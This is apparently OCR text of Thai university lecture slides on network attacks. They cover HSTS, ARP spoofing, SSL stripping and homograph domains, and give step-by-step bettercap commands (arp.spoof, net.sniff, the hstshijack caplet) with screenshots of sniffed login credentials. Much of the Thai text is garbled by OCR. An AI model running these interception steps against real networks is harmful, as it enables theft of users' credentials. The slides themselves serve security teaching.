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HTTP Strict Transport Security (HSTS)

" 1ag J. Hodges, C. Jackson, A. Barth Tutl a.f 2012
= RFC 6797, (IETF)
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N15¥8 Request 581314 Client NU Web Server agiduanwaiznadl

HSTS azaulawail

" HTTPS — — Request — -> Web Server
® HTTPS < — —Response — — Web Server
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<« - C I A livaonsy lmember.lazada.co.th/userjlogin?spm:3204m.h0me.header

wnoay insdminsadua* . | nte rn et Ba n ki n g

" Ecommerce

wialhgruude
ikt 1

] . SandnfAgys
-------- v aceboo TLUULBIIANAIAEYHN 9
\ran

[Full request URI:Ihttp://member.lazada.co.th/userfapi/login] I
[HTTP request 1/2]

[Response in frame: 83]
~ Member Key: logjphame
Key: loginName
~ Member Key: passwQrg
Key: password Information Security and Advanced Networks (ISAN)

Faculty of Informatics, Mahasarakham University

203UsEInalng




l £ :Bualuang iBanking :

x

« > banking.bangkokbank.cum-'-’- gnOn.aspx

@ Bangkok Bank Tan

Bualuang

User_2019

Click & 10 verify the website cenificote and ensure
it is a secured connection

W Hint  Ei Bookmark

N Warning against smartphone virus / Phishing mail
For socurity, ploose .-,;m-, m *.plocmM Bangkok Bank will n.ever send an SMS/MMS/Email requesting you to downl_oad or
from App Store or Google Play install any software/application onto your mobile phone. Please be aware that

_ malicious applications can steal your User 1D, Password and OTP

Security tips for using a Personal Financial Application
We recommend you take these simple precautions when using a Personal
Financial Application,

—_— special Enroll 1 Dec 18 - 3T-Deail®
Be aware of Phishing Mail I 2 ronike s mries

wangmn: layanlvatesd visatiluweunsilasannnsel
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whds:=uu
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#EuNslauINNo

B8 Whds=uudos GR Code

L, &u User ID/Password

anAinxu
wWAlTIunsIusn

oanic )

@ TMB egjiiliu G All Free Hol Rate! 3 §inou ¢ Gndes BE doonaua-douls & rAnudasnds 5
£ ; TieL1sse wm webchat @ 00
© Audednt 2562 sunmisnmisine o (uenoul
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ATTACKER ) /ay\&
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-

Man In The Middle Attack Resources eg: internet

umAanNIswNsNNaIINISaRaIsluseuULASaaNe LAN, Wi-Fi Access Point
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ARP (ADDRESS RESOLUTION PROTOCOL) \4&

Router
IP; 10.0.2.1
MAC: 00:11:22:33:44:10

IP: 10.0.2.3
10.0.2.4 MAC: 00:11:22:33:44:20
ATTACKER Ve
VICTIM
P: 10.0.2.5 IP: 10.0.2.4

MAC: 00:11:22:33:44:40 MAC: 00:11:22:33:44:30
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ARP (ADDRESS RESOLUTION PROTOCOL) ”\\\

Router
IP; 10.0.2.1
MAC: 00:11:22:33:44:10

ATTACKER

IP: 10.0.2.3
MAC: 00:11:22:33:44:20

VICTIM
IP; 10.0.2.4
MAC: 00:11:22:33:44:30

IP: 10.0.2.5
MAC: 00:11:22:33:44:40

12



TYPICAL NETWORK

‘ ATNNNISEDES LULASDU8LUUUNR

ISAN
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&

Resources
eg: internet

13



ARP SPOOFING L

v

ISAN

INFORMATION
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| have the router’s
mac address

Access Point

Resources
eg: internet

awarsgnuasuulasnisiieansiussuuasaig
wIan159e LAy
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ARP SPOOFING L

N15Ua9uuUadn15a9819 lUSSUULASDUNE WIBNT15198TNE I UgLLay

Access Point

Resources
eg: internet

sasuodsay
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JunauLazAgIn1slanfalemailn ARP SPOOFING ATTACK 8

AN

Access Point

Resources
eg: internet

Requests
L=
\_“/7
sasuodsay

4
O
)

On
D
(%5

mwmsgniwﬁé’qmmﬁﬂ ARP SPOOFING ATTACK

17



ARP SPOOFING ATTACK 14@1&s Command fasialuil

Applications ~ = Terminator ~ Wed 04:58
root@kali: ~
root@kali: ~ 118x34

bettercapzéé.; T ace etho type ‘help' for a list of commands]
| > 192.168.65.129 EENIFHECY (2nT P —
robe > 192.168.65.129 IEECEECEESE ] endpoint 192.168.65.1 detected as

. > 192.168.65.129 JIEMGEE ] endpoint 192.168.65.130 detected as
- > 192.168.65.129 SRCLE | endpoint 102.ak8.65.254 detected as
] [N EIPEREEM full duplex spoofing enabled, if the router has ARP spoofing m

probing 1 targets.

> 192.168.65.129

> 192.168.65.129 o .

AMNSIUANEINTSIANREEWATIA ARP SPOOFING 1ael% BETTERCAP
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ARP SPOOFING ATTACK 14#1&s Command sasialuil @

FIUAZLDYANTITIYIY
1) 1¥f1da bettercap —iface eth0 Lilevinnsidengunsaldumefivle

GI,"UW]?N net. probe on LW@VHﬂ’Tﬁﬂ‘U‘Mﬂ@ﬁ@Lﬂﬁ’eﬂl’]EJL@EJ’JﬂUI@EJWH%’Wuﬁ]anLU'L!LL‘W@Lﬂ@ UDP
LL‘U‘UﬁﬂJ‘lUEJQ'VIﬂ P VILUM‘IUVLGQWALU“UULUW aﬂﬂJ’]ﬁﬂLﬁEJﬂﬂNﬁaWéIﬂEﬂ"Uﬂ’]ﬁﬂ net show zuanswauuLsealng

3) TPnds set arp.spoof.fullduplex true L‘wammsmaﬂLﬂmam%maqrﬁau uudunseanie
LLavwaaﬂmemeafnLmaasﬁwmﬂumm’m

4) 193 set arp.spoof.targets 192.168.65.130 Liievinsnua IP Whumnefazlaud
5) 14@1&s arp.spoof on Lileying start ARP spoofer SunszurunsUasuulas

6) lUA1d9 net.sniff on Lﬁaﬁwmﬁﬁﬂé’u%aﬂﬁluméaﬂw8§uLma§Lﬁm

19



AUl ldnngau ARP SPOOFING HISAN

Link: www.vulnweb.com

AND ADVANCED

Name

SecurityTweets

Acuart

Acuforum

Acublog

REST API

Macunetix

Vulnerable test websites for Acunetix Web Vulnerability Scanner.

URL Technologies Resources

http:/ /testhtml5 . vulnweb.com nginx, Python, Flask, CouchDB Review Acunetix HTMLS scanner or learn more on the topic.
http:/ /testphp.vulnweb.com Apache, PHP, MySOL Review Acunetix PHP scanner or learn more on the topic.
http:/ [testasp.vulnweb.com 115, ASP, Microsoft SQL Server Review Acunetix SQL scanner or learn more on the topic.
http:/ /[testaspnet.vulnweb.com 115, ASP.NET, Microsoft SQL Server Review Acunetix network scanner or learn more on the topic.
http:/ /rest.vulnweb.com/ Apache, PHP, MySQL Review Acunetix scanner or learn more on the topic.

Warning: This site hosts intentionally vulnerable web applications. You can use these applications to understand how programming and conficuration
errors lead to security breaches. We created the site to help you test Acunetix but you may also use it for manual penetration testing or for educational
purposes. It will help vou learn about vulnerabilities such as SQL Injection. Cross-site Scripting (X85). Cross-site Request Forgery (CSRF), and many

mofe.

drg1a3ules www.vulnweb.com Tildvagau ARP Spoofing Attack
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INFORMATION
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n15laufngmALA SSL STRIPPING ATTACK :’L},

< C I A livasesu Imember,lazada,co,th,}’user,-‘login?spm:alodm.home.header

wnmasTvsdminadwas

Victim " anhgsuie
f Facebook
ansasiu G" GOOg|E
T A1

[Full request URI:Ihttp://member.lazada.co.th/user/api/login]
[HTTP request 1/2]"
[Response in frame: 83]

~ Member Key: logjpName
String value:j User-2019
Key: loginName

~ Member Key: pas
String value:}Pass-2019
Attacker Key: password

awidulediignlaufdae SSL Stripping Attack sindudayasglugy Clear Text

U

2

N




ISAN

INFORMATION
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nslaumiulediie Bypassing HTTPS 75

)y

Problem : HTTPS

* Most websites use HTTPS

- Sniffed data will be Encrypted

Solution : HTTPS
HTTPS to HTTP.



TéandsnisTaudiuladiiie Bypassing HTTPS ALSAN

INFORMATION
=T AND ADVANCED
(X X X I J

root@kali: ~ o0

File Edit View Search Terminal Help 1
:~# bettercap -iface etho

bettercap v2.23 | [type 'help' for a list of commands]

probe on 2

83:108] [ ] (B8] IEWEIEEE starting net.recon as a requirement for net.probe
:10] [ ] endpoint 10.0.2.3 detected as CS Computer
3:18] [ ] endpoint 10.0.2.5 detected as

show

ethe
gateway

:00:27:b3:
100:27:e6:
9 pkts
set arp.spoof.fullduplex true

set arp.spoof.targets 10.9.2.5 4
» arp.spoof on

[01:03:44] [ ] [EnE] ELgLE enabling forwarding
[01:03:44] [ ] [-] Sl full duplex spoofing enabled, if the router has ARP spoofing mechanisms, th

e attack wil

[01:83:44] [ 1 (B8] TETEER arp spoofer started, probing 1 targets.
set net.sniff local true

net.sniff on

hstshijack/hstshijack (8

[01:04:11] ant] JSEBSEEE Generating random variable names for this session ...
[01:04:11] [En¥] BYSISREIRE Reading caplet ...
[01:04:11] [Enf] EASISSEIEY Reading SSL log .

vv v vEdvy VvV VY

AMNIINAIEINISTaNRLNG Bypassing HTTPS Tngld BETTERCAP



ISAN

® | INFORMATION
AND ADVANCED

TéandsnisTaudiuladiiie Bypassing HTTPS

bettercap -iface ethO
net.probe on

set arp.spoof.fullduplex true
set arp.spoof.targets IP Victim
arp.spoof on

set net.sniff.local true

net.sniff on
hstshijack/hstshijack

25
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AND ADVANCED
. X X I 1 J

www.stackoverflow.com
- www.linkedin.com

ﬁ’]ﬂ’]i%ﬂﬁ@UﬁLﬂ%‘aﬁ Client (Windows 10)

[ = Log In - Stack Overflow

<« C A Not secure ||stackoverflow.com/users/login?ssrc=head &returnurl=https%3a%2f%2fstackoverflow.com%2f%3f o B w O

N
= = cstackoverflow Products Customers Use cases

Meet The Overflow, a newsletter by developers, for developers. Fascinating questions, illuminating answers, and entertaining links from around the web.

S

G Log in with Google

'i Log in with Facebook

Email
User_2019
_Password Forgot password?

By using our site, you acknowledge that you have read and understand our Cookie Policy, Privacy Policy, and our Terms of Service. X

26
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Applications - Places * = Terminator = Wed 06:17 O
root@kali: ~ e ® (
root@kali: ~ 142x37

= 192,168.65.129 L ERVH TN RN
= 192.168.65.129 EEENVH AR
> 192.168.65.129 R VHE TN

Naﬁwéﬂﬁiﬁﬂﬁuﬁayjaﬁﬂwﬁ stackoverflow.com 728 Bettercap
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MSsoUGIWD Bypassing HTTPS ua: HSTS é\\/ ISAN
lagtginatnnstouG Homograph Attack

K3 Facebook - Whmumtoaindd X + / I‘ - C

< C A Notsecure | th-th.facebook.corn/ book.corn B

DNS (Domain Name System) che bOOI(

Facebook hanaiidanunanasuas
AUKNAUINNNNESAURAIANL

TLD (Top-Level Domain)

Paradet@gmail.com

ausvasr ulgwviala

» Form item: "lsd" = "AVoLI1KGLxQ"

» Form item: "email" = "Paradet@gmail.com" «—

» Form item: "pass" = "Paradet-2020" <=

» Form item: "login_source" = "comet_headerless_login"

29
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